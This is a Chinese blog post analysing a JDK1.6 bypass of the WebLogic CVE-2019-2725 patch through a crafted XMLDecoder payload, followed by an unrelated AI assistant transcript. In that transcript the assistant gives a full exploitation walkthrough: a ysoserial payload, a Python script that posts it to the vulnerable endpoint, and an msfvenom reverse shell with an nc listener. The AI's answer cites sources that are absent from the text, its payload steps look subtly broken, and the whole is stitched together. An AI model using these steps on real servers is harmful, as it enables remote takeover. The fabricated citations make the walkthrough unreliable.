Weblogic CVE-2019-2725补丁JDK1.6绕过分析

本文对CVE - 2019 - 2725的补丁使用array标签+method属性获取Class的绕过方法进行分析。此方法仅适用于JDK1.6,还分析了受影响的Weblogic版本,如10.3.6有一定影响,12以上无影响,最后对获取class部分的关键点进行了详细分析。

前言

简单的水一篇

这两天网上公布了CVE-2019-2725的补丁使用array标签+method属性来获取Class的绕过,这里简单分析一下。

由于JDK1.7以上的XMLDecoder对每种标签支持的属性有严格的限制,所以此方法只适用于JDK1.6。

看本文之前建议先了解一下XMLDecoder的解析流程。

XMLDecoder解析流程分析

虽然文章写的是jdk1.7以上的,但是大体流程差异不大。

影响的Weblogic版本

Weblogic 10.3.6默认自带JDK1.6,但是可以选择使用系统中的JDK,有一定影响。

Weblogic 12以上要求JDK版本>1.6,所以这版本就没影响了。(感谢pyn3rd师傅提醒)

关键点分析

测试代码:

public static void main(String[] args) throws FileNotFoundException {
        String filename = "1.xml";
        XMLDecoder XD =new XMLDecoder(new FileInputStream(filename));
        Object o = XD.readObject();
        System.out.println(o);
    }

输入的XML

<java>
<array method="forName">
<string>oracle.toplink.internal.sessions.UnitOfWorkChangeSet</string>
<void>
    <array class="byte" length="2">
        <void index="0">
            <byte>-84</byte>
        </void>
        <void index="1">
            <byte>-19</byte>
        </void>

</array>
</void>
</array>
</java>

2725的补丁过滤了object/new/method标签,void标签只允许用index,array的class只能用byte,并限制了长度,如上XML避开了过滤。

这里只分析关键的获取class部分,后续的实例化部分与之前的漏洞没有区别。

在这里插入图片描述

com.sun.beans.ObjectHandler类,进入到处理array标签的startElement函数调用,开头流程如下:

  1. 初始化属性HashMap。
  2. 创建MutableExpression对象,有关Expression看下这里,简单来说就是可以用类似表达式的形式来调用构造方法、数组读写、类函数的类。
  3. 遍历class/property/index/method属性,来设置Expression对象的Target或Method。

可以看到jdk1.6下会获取method标签的内容,并将其设置给创建的Expression对象,此处将method设置为了forName。

继续往下走,进入处理专门处理array标签的代码:
在这里插入图片描述
由于我们的array标签没有设置length属性由于我们的array标签没有设置length,所以var11此处为null,而后会Expression的Target设置为一个Class对象,最终本函数会将调用Class.forName的Expression对象压入表达式栈中。在这里插入图片描述
后续步骤就剩下向该表达式添加类名参数并调用来获取class对象,最后进行实例化,此处就不说了。
在这里插入图片描述

结尾

水水更健康。

<think>首先,用户的问题是关于WebLogic CVE-2019-2725漏洞的复现步骤及利用方法。我需要基于提供的引用内容来构建回答。 回顾系统级指令: - 所有行内数学表达式必须使用$...$格式,但这个问题似乎不涉及数学表达式,所以可能不需要。 - 独立公式使用$$...$$格式,但这里可能不适用。 - LaTeX语法正确:确保任何数学内容正确格式化。 - 使用中文回答:整个回答必须用中文。 - 生成相关问题:在回答结束后,生成相关问题。 - 引用标识:在引用的段落末尾添加引用标识,如[^1]。 用户意图:用户想复现WebLogic CVE-2019-2725漏洞,包括步骤和利用方法。 参考引用内容: - 引用[1]:提到CVE-2019-2725WebLogic漏洞,通过/_async/AsyncResponseService路径传入恶意XML实现反序列化漏洞。 - 引用[2]:涉及其他XXE漏洞,但提到了@xxlegend的分,可能相关但不是直接针对CVE-2019-2725- 引用[3]:详细描述了CVE-2019-2725漏洞:影响wls9-async组件,路径为/_async/AsyncResponseService,通过恶意XML反序列化执行远程代码。影响版本包括WebLogic 10.3.6.0(在Java 7上验证),并提到靶机环境搭建(Windows 7 SP1, WebLogic 10.3.6.0, Java 7)。 - 引用[4]:标题是CVE-2019-2725复现,包括环境搭建到getshell,提到了启动WebLogic的步骤(./startWebLogic.sh)。 - 引用[5]:类似描述,路径/_async/AsyncResponseService,传入恶意XML导致反序列化漏洞。 关键点从引用中提取: - 漏洞原理:在/_async/AsyncResponseService路径下,传入恶意XML数据,服务器在反序列化时执行恶意代码。 - 影响版本:WebLogic 10.3.6.0(特别在Java 7上),可能其他版本也受影响但未完全验证。 - 复现步骤: - 环境搭建:需要安装Java 7(如openjdk-7u75),安装WebLogic 10.3.6.0。 - 启动WebLogic:进入domain目录,运行./startWebLogic.sh。 - 利用方法:构造恶意XML请求发送到/_async/AsyncResponseService。 - 利用方法:具体如何构造恶意XML?引用中没有详细说明,但提到反序列化漏洞,通常涉及发送包含恶意序列化对象的XML。 从引用[3]和[5]: - 漏洞利用:攻击者传入恶意的xml格式数据,服务器反序列化时执行代码。 - 在复现中,可能需要使用工具或脚本发送恶意请求。 标准复现步骤可能包括: 1. 搭建环境:安装Java 7和WebLogic 10.3.6.0。 2. 启动WebLogic服务。 3. 构造并发送恶意请求到http://target:port/_async/AsyncResponseService。 4. 验证命令执行,例如通过反弹shell或执行系统命令。 在引用[4]中提到“从环境搭建到getshell”,所以应包括如何获取shell。 由于引用中没有详细PoC,我需要基于一般知识构建步骤。但必须引用提供的引用内容。 回答结构: - 清晰、逐步解决问题。 - 使用中文。 - 在引用段落末尾添加引用标识。 大纲回答: 1. **漏洞概述**:简要描述CVE-2019-2725是什么。 2. **影响版本**:列出受影响的版本。 3. **复现前提**:环境要求,如操作系统、Java版本、WebLogic版本。 4. **复现步骤**: - 步骤1: 搭建环境(安装Java和WebLogic)。 - 步骤2: 启动WebLogic服务。 - 步骤3: 构造恶意请求。 - 步骤4: 发送请求并验证漏洞利用。 5. **利用方法**:如何利用漏洞执行命令或获取shell。 6. **注意事项**:安全提醒,仅用于学习目的。 生成相关问题:在回答结束后,添加3-5个相关问题。 添加引用:当直接引用或基于引用内容时,在末尾添加[^1]、[^3]等。 例如: - 根据引用[3],漏洞存在于wls9-async组件...[^3]。 - 引用[4]提到启动WebLogic的步骤...[^4]。 具体步骤: - 从引用[3]:影响版本WebLogic 10.3.6.0,环境Windows 7或Linux,Java 7。 - 从引用[4]:启动命令./startWebLogic.sh。 - 利用:发送恶意XML到/_async/AsyncResponseService。 恶意XML构造:引用中没有细节,但常见方法是使用ysoserial等工具生成payload。 在回答中,我可以建议使用现有PoC脚本,但强调仅用于教育。 完整回答: - 开头:直接回答问题。 - 主体:分步骤。 - 结尾:相关问题。 生成相关问题: 1. CVE-2019-2725的漏洞原理是什么? 2. 如何防御WebLogic反序列化漏洞? 3. CVE-2019-2725与其他WebLogic漏洞有何区别? 4. 复现漏洞时常见问题及解决方法? 5. WebLogic漏洞的历史和演变? 确保语言自然。</think>### WebLogic CVE-2019-2725 漏洞复现步骤及利用方法 CVE-2019-2725 是 Oracle WebLogic Server 中的一个高危反序列化远程代码执行(RCE)漏洞。该漏洞存在于 `wls9-async` 组件中,攻击者可以通过向 `/_async/AsyncResponseService` 路径发送恶意 XML 数据,在服务器反序列化时执行任意代码,从而获取服务器控制权。以下复现步骤基于参考引用内容,并针对典型环境(如 Linux 系统)进行说明。**注意:本内容仅用于安全研究和教育目的,严禁用于非法测试。复现漏洞需在隔离的实验室环境(如虚拟机)中进行,以避免对真实系统造成危害。** #### 漏洞概述 - **原理**:漏洞源于 WebLogic 的异步通信服务(`wls9-async`),在处理 XML 格式的请求时,未正确验证输入数据。攻击者构造恶意 XML 数据,其中包含序列化的 Java 对象,服务器在反序列化时会执行嵌入的恶意代码,导致远程命令执行。这允许攻击者执行系统命令、上传文件或获取反向 shell[^3][^5]。 - **影响版本**: - Oracle WebLogic Server 10.3.6.0(已验证在 Java 7 环境)[^3]。 - 其他潜在受影响版本:WebLogic 12.1.3.0(但未完全验证)[^3]。 - **环境要求**: - 操作系统:Linux(如 Ubuntu)或 Windows(如 Windows 7 SP1),推荐使用 Linux 便于复现。 - Java 版本:必须使用 Java 7(如 OpenJDK 7u75),因为高版本 Java 可能修补相关漏洞[^3][^4]。 - WebLogic 版本:WebLogic 10.3.6.0(可从 Oracle 官网下载试用版)。 #### 复现步骤(以 Linux 环境为例) 以下是完整的复现流程,包括环境搭建、漏洞利用和验证。假设您已安装虚拟机(如 VirtualBox)和基础工具(如 curl 或 Python)。 1. **环境搭建** 首先,安装依赖软件并配置 WebLogic- **步骤 1.1: 安装 Java 7** 下载并安装 OpenJDK 7(例如,openjdk-7u75-b13-linux-x64)。在终端执行: ```bash wget https://download.java.net/openjdk/jdk7u75/ri/openjdk-7u75-b13-linux-x64-18_dec_2014.tar.gz tar -xzvf openjdk-7u75-b13-linux-x64-18_dec_2014.tar.gz sudo mv openjdk1.7.0_75 /usr/lib/jvm/ sudo update-alternatives --install /usr/bin/java java /usr/lib/jvm/openjdk1.7.0_75/bin/java 1 sudo update-alternatives --config java # 选择 Java 7 java -version # 验证输出应为 "java version "1.7.0_75"" ``` 此步骤确保使用易受攻击的 Java 版本[^3][^4]。 - **步骤 1.2: 安装 WebLogic 10.3.6.0** 下载 WebLogic 安装包(如 `wls1036_generic.jar`),运行安装向导: ```bash java -jar wls1036_generic.jar ``` 在安装过程中: - 创建新域(例如,`peak_domain`)。 - 设置管理员账号(如用户名 `weblogic`,密码 `password1`)。 - 完成后,记录域目录路径(如 `/home/user/Oracle/Middleware/user_projects/domains/peak_domain`)[^4]。 - **步骤 1.3: 启动 WebLogic 服务** 进入域目录并启动服务: ```bash cd /home/user/Oracle/Middleware/user_projects/domains/peak_domain ./startWebLogic.sh # 等待输出 "Server started in RUNNING mode" ``` 服务默认监听端口 7001。访问 `http://localhost:7001/console` 验证 WebLogic 控制台是否正常(使用设置的管理员账号登录)[^4]。 2. **漏洞利用:构造并发送恶意请求** 漏洞利用的核心是向 `/_async/AsyncResponseService` 端点发送恶意 XML 数据。这里使用 Python 脚本生成并发送 payload,实现命令执行(如启动计算器或反弹 shell)。 - **步骤 2.1: 准备恶意 XML payload** 利用反序列化工具(如 ysoserial)生成 payload。首先,下载 ysoserial: ```bash wget https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar ``` 生成一个执行系统命令的 payload(例如,启动 `gnome-calculator` 作为 PoC): ```bash java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections1 'gnome-calculator' > payload.xml ``` 此 payload 利用了 Commons Collections 库的反序列化缺陷。将 `payload.xml` 内容封装为 SOAP 格式的 XML 请求[^3][^5]。 - **步骤 2.2: 发送恶意请求** 使用 curl 或 Python 脚本发送 payload 到 WebLogic。示例 Python 脚本(`exploit.py`): ```python import requests url = "http://localhost:7001/_async/AsyncResponseService" # 替换为目标 IP 和端口 headers = {"Content-Type": "text/xml"} with open("payload.xml", "rb") as f: payload = f.read() response = requests.post(url, data=payload, headers=headers) if response.status_code == 202: # 接受处理状态码 print("漏洞利用成功!检查目标系统是否执行命令(如计算器弹出)。") else: print("利用失败,状态码:", response.status_code) ``` 运行脚本: ```bash python exploit.py ``` 如果成功,目标服务器将执行 `gnome-calculator`(或其他命令)。这表明远程代码执行已生效[^3][^5]。 - **步骤 2.3: 获取反向 shell(高级利用)** 为获取完整控制,可构造 payload 反弹 shell。例如,使用 msfvenom 生成 reverse shell payload: ```bash msfvenom -p java/shell_reverse_tcp LHOST=攻击者IP LPORT=4444 -f raw > shell.xml ``` 在攻击机启动监听: ```bash nc -lvnp 4444 ``` 修改 `exploit.py` 发送 `shell.xml`。成功后,攻击机将获得目标服务器的 shell 会话[^5]。 3. **验证漏洞** - **成功指标**:命令执行后,检查 WebLogic 服务器: - 弹出计算器(GUI 环境)。 - 或在 shell 会话中执行 `id` 或 `whoami` 命令,验证权限(通常为 WebLogic 进程用户)。 - **日志检查**:WebLogic 日志(位于域目录的 `servers/AdminServer/logs`)可能显示反序列化错误或异常,但漏洞利用通常不留明显痕迹[^3]。 #### 注意事项 - **安全警告**:此漏洞允许完全接管服务器。复现时务必使用隔离环境,避免暴露到公网。参考引用强调,所有操作应仅用于合法学习和测试[^1][^3][^5]。 - **常见问题**: - **失败原因**:Java 版本不匹配(必须 Java 7)、WebLogic 配置错误或 payload 兼容性问题。建议使用已验证的 ysoserial payload。 - **防御建议**:修补漏洞(Oracle 官方补丁)、禁用 `wls9-async` 组件或升级到最新 WebLogic 版本。 - **参考工具**: - ysoserial:生成反序列化 payload。 - Burp Suite:手动构造和发送恶意请求。 - Metasploit:提供自动化利用模块(搜索 `exploit/multi/misc/weblogic_deserialize_asyncresponseservice`)。 通过以上步骤,您可成功复现 CVE-2019-2725 漏洞并理解其利用机制。复现过程需熟悉基础命令行和网络工具,如有疑问,可参考漏洞分文章加深理解[^1][^2][^5]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值